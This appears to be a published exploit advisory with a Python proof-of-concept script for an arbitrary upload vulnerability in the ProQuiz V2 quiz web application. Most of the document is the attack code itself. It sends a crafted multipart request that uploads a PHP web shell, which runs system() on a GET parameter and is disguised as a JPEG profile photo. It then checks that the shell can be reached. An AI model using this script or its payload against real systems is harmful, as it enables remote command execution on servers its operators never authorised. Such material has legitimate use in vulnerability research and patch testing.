# ------------------------------------------------------------------------ # Software................ProQuiz V2 # Vulnerability...........Arbitrary Upload # Download................http://proquiz.softon.org/ # Release Date............2/20/2011 # Tested On...............Windows Vista + XAMPP # ------------------------------------------------------------------------ # Author..................AutoSec Tools # Site....................http://www.autosectools.com/ # ------------------------------------------------------------------------ # # --Description-- # # An arbitrary upload vulnerability in ProQuiz V2 can be exploited to # upload a PHP shell. # # # --PoC-- import socket host = 'localhost' path = '/proquizv2b' shell_path = path + '/images/upload/users/.php' port = 80 def upload_shell(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) s.send('POST ' + path + '/functions.php?action=edit_profile&type=other HTTP/1.1\r\n' 'Host: localhost\r\n' 'Connection: keep-alive\r\n' 'Referer: http://localhost/proquizv2b/my_account.php?action=getpage&page=edit_profile&type=other\r\n' 'Content-Length: 718\r\n' 'Cache-Control: max-age=0\r\n' 'Origin: http://localhost\r\n' 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.82 Safari/534.16\r\n' 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4IQJE6qsLBAizBLu\r\n' 'Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n' 'Accept-Encoding: gzip,deflate,sdch\r\n' 'Accept-Language: en-US,en;q=0.8\r\n' 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n' '\r\n' '------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n' 'Content-Disposition: form-data; name="fname"\r\n' '\r\n' 'test\r\n' '------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n' 'Content-Disposition: form-data; name="lname"\r\n' '\r\n' 'test\r\n' '------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n' 'Content-Disposition: form-data; name="profile"\r\n' '\r\n' '\r\n' '------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n' 'Content-Disposition: form-data; name="dob"\r\n' '\r\n' '10/10/10\r\n' '------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n' 'Content-Disposition: form-data; name="gender"\r\n' '\r\n' 'm\r\n' '------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n' 'Content-Disposition: form-data; name="photo"; filename="shell.php"\r\n' 'Content-Type: image/jpeg\r\n' '\r\n' '\' + system($_GET[\'CMD\']) + \'\'; ?>\r\n' '------WebKitFormBoundary4IQJE6qsLBAizBLu--\r\n') resp = s.recv(8192) http_redirect = 'HTTP/1.1 302' http_ok = 'HTTP/1.1 200' if http_redirect not in resp[:len(http_redirect)]: print 'error uploading shell' return else: print 'shell uploaded' s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\ 'Host: ' + host + '\r\n\r\n') if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found' else: print 'shell located at http://' + host + shell_path upload_shell()